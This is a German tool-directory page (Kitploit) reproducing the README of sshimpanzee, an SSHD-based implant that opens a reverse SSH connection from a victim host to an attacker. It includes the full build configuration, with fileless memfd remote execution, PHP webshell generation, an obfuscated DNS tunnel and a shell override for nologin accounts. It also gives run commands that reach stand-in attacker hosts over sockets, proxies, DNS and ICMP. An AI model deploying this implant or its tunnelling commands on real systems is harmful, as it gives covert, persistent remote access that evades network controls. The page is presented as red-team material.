Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
sshimpanzee — SSHD-basiertes Implantat mit Unterstützung für Tunneling-Mechanismen zum Erreichen des C2 (DNS, ICMP, HTTP-Kapselung, HTTP/Socks-Proxies, UDP...) | Kitploit
Tools/GitHubGitHub/lexfo/sshimpanzee
Payload-GenerierungPost-ExploitationNetzwerksicherheitCommand and ControlRed TeamingRemote-Access-ToolDNS-Analyse
GitHublexfo/sshimpanzee

sshimpanzee

SSHD-basiertes Implantat mit Unterstützung für Tunneling-Mechanismen zum Erreichen des C2 (DNS, ICMP, HTTP-Kapselung, HTTP/Socks-Proxies, UDP...)

Repository anzeigen
2932920vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Webseite
Teilen

Sshimpanzee

Sshimpanzee ermöglicht es Ihnen, einen statischen Reverse-SSH-Server zu erstellen. Anstatt auf einem Port zu lauschen und auf Verbindungen zu warten, initiiert der SSH-Server eine Reverse-Verbindung zur IP des Angreifers, ähnlich wie eine normale Reverse-Shell. Sshimpanzee ermöglicht es Ihnen, alle Funktionen einer regulären SSH-Verbindung zu nutzen, wie Portweiterleitungen, dynamische SOCKS-Proxys oder einen FTP-Server.

Noch wichtiger: Wenn eine direkte Verbindung vom Opfer-Rechner zum Angreifer-Server nicht möglich ist, bietet es verschiedene Tunnelmechanismen wie DNS-Tunneling, ICMP-Tunneling oder HTTP-Einkapselung. Es unterstützt auch HTTP- und SOCKS5-Proxys. Ein technisches Paper ist auf dem Blog von lexfo verfügbar.

DOCKER-BUILD – EMPFOHLEN

sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

Möglicherweise müssen Sie die Umgebungsvariable DOCKER_BUILDKIT=1 aktivieren.

Kompilierungsdatei

Der Build basiert auf der Datei build.yaml:


###
# Dies ist die Build-Konfigurationsdatei von sshimpanzee
# YAML wird verwendet, um das Verhalten und die Funktionen von sshimpanzee zu beschreiben
###

### Allgemeine Konfiguration

process_name: "sshimpanzee" # Name des Prozesses, wie er in ps erscheint (Sie werden ihn jedoch nicht mit diesem Namen beenden können)


banner: True # Soll das Banner beim Log angezeigt werden
verbose: 3 # Ausführlichkeitsstufe, wie in build/build.log geschrieben

shell: "/bin/sh" # Standard-Shell für den Benutzer, die /etc/passwd-Einträge mit false oder nologin als Shell umgeht
timer: 60*1000*1000  # Zeit in Millisekunden, bevor ein neuer sshimpanzee-Kindprozess nach dem Beenden gestartet wird. Im sock-MODE wird z.B. eine neue sshd-Verbindung 1 Minute nach dem Ende der vorherigen hergestellt.

keygen: True # Generiere Schlüssel während des Builds neu, stelle sicher, dass neue HOST- und CLIENT-Schlüssel verwendet werden
public_key: # Wenn keine neuen Schlüssel generiert werden, kann ein öffentlicher Client-Schlüssel zur Authentifizierung angegeben werden (nur ed25519-Schlüssel werden unterstützt)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # Auf True belassen, wenn das Builder-Skript die sshd-Binärdatei generieren soll
force_clean_build: True # Derzeit für Docker-Builds erforderlich, zwingt das Builder-Skript zur Neukompilierung von Tunneln und Abhängigkeiten
reconf: True # Für Docker-Builds erforderlich


### Umgebung
# sshimpanzee wird zur Laufzeit über Umgebungsvariablen konfiguriert. Es ist jedoch möglich, Umgebungsvariablen vorzubelegen, um ein Standardverhalten zu erhalten.


env:
  if_not_set : # Variablen hier werden gesetzt, wenn sie noch nicht existieren
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # Die Umgebungsvariable MODE wird verwendet, um den Standardtunnel zu verwalten
  overwrite: # Variablen hier überschreiben bereits vorhandene
    

### Tunnel
# sshimpanzee bietet verschiedene Tunnelmechanismen
# Um die Kompilierungszeit zu verkürzen und vor allem eine leichtere Binärdatei zu erhalten, können einige Tunnel ein- oder ausgeschlossen werden
# Tunnel-Kompilierungsparameter können hier angegeben werden
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # Soll der entsprechende ICMPTunnel-Server gebaut werden
      raw_sock: False # Mit Unterstützung für raw sock für ältere Kernel bauen

  http_enc :
      enabled: True
      key: # Webshell-Schlüssel, leer führt zur Generierung eines neuen Schlüssels
      target:
        - "php" # Liste der Sprachen, für die Webshells generiert werden sollen
      path_fd: "/dev/shm/sshim" # Fifo, das sshimpanzee zur Kommunikation mit Webshells verwendet

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP-Ressource
      key: sshimpanzee # DNS2TCP-Schlüssel
      obfuscate: True # DNS2TCP-Magischer-String verschleiern, dies erzwingt den Build des entsprechenden Servers
      buildserv: False 
      qtype: TXT # Von DNS2TCP verwendeter Abfragetyp

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh-Subsysteme
# man sshd_config Subsystems

subsystems:

  internal_sftp: # Standard-SFTP, wie von OpenSSH bereitgestellt
    enabled: True # Erforderlich für scp und sftp
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee-Benutzerdefiniertes Subsystem
    enabled: True # Remote-Ausführung mit der fileless-memfd-Technik
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # Beispiel eines standardmäßigen SSH-Subsystems
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

Verwendung

Zur Laufzeit wird die sshimpanzee-Binärdatei über Umgebungsvariablen konfiguriert. Die Variable MODE ermöglicht es dem Benutzer, zwischen kompilierten Tunneln zu wählen. Jeder Tunnel kann über Umgebungsvariablen konfiguriert werden. Um beispielsweise eine klassische Reverse-Verbindung zu 127.0.0.1:8080 herzustellen, verwenden Sie Folgendes:

MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

Es ist möglich, sshimpanzee im Debug-Modus mit -d auszuführen. Im Debug-Modus bleibt sshimpanzee im Vordergrund.

Tunnel

Derzeit unterstützt sshimpanzee mehrere Möglichkeiten, wie der Implant den Angreifer-SSH-Client erreichen kann:

  • DNS-Tunneling mit dem dns2tcp-Protokoll
  • Proxy: HTTP/SOCKS4/SOCKS5
  • Sockets: (kann nützlich sein, wenn Sie Ihre eigenen Tunnel implementieren möchten)
  • ICMP-Tunnel
  • HTTP-Einkapselung

Sock-Verbindung

  1. SSH auf Client-Seite wie folgt ausführen:
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. sshimpanzee auf dem Ziel ausführen:
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

Weitere Beispiele:

MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # Binden und Lauschen auf 127.0.0.1:8080

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Verbindung zum Unix-Socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Binden und Lauschen auf dem Unix-Socket /tmp/sock

Verbindung über Proxy

  1. SSH auf Client-Seite wie folgt ausführen:
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
  1. sshimpanzee auf dem Ziel ausführen:
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

Weitere Beispiele:

MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

DNS-Tunneling verwenden

  1. Führen Sie auf Ihrem Server den standardmäßigen dns2tcpd mit der Konfigurationsdatei aus diesem Repository aus. Sie müssen die Domain (und ggf. den Ressourcen-Port) anpassen.
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
sudo ./dns2tcpd -F -f dns2tcpdrc
  1. SSH auf Client-Seite wie folgt ausführen:
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. Die sshimpanzee-Binärdatei ausführen:
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

Weitere Beispiele:

MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Erzwingt die Verwendung des DNS-Resolvers 8.8.8.8

ICMP-Tunneling verwenden

  1. Fügen Sie auf Ihrem Server die entsprechenden Capabilities hinzu, um das Ausführen des ProxyCommand als root zu vermeiden, und deaktivieren Sie die Ping-Antwort des Systems:
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
Tool herunterladen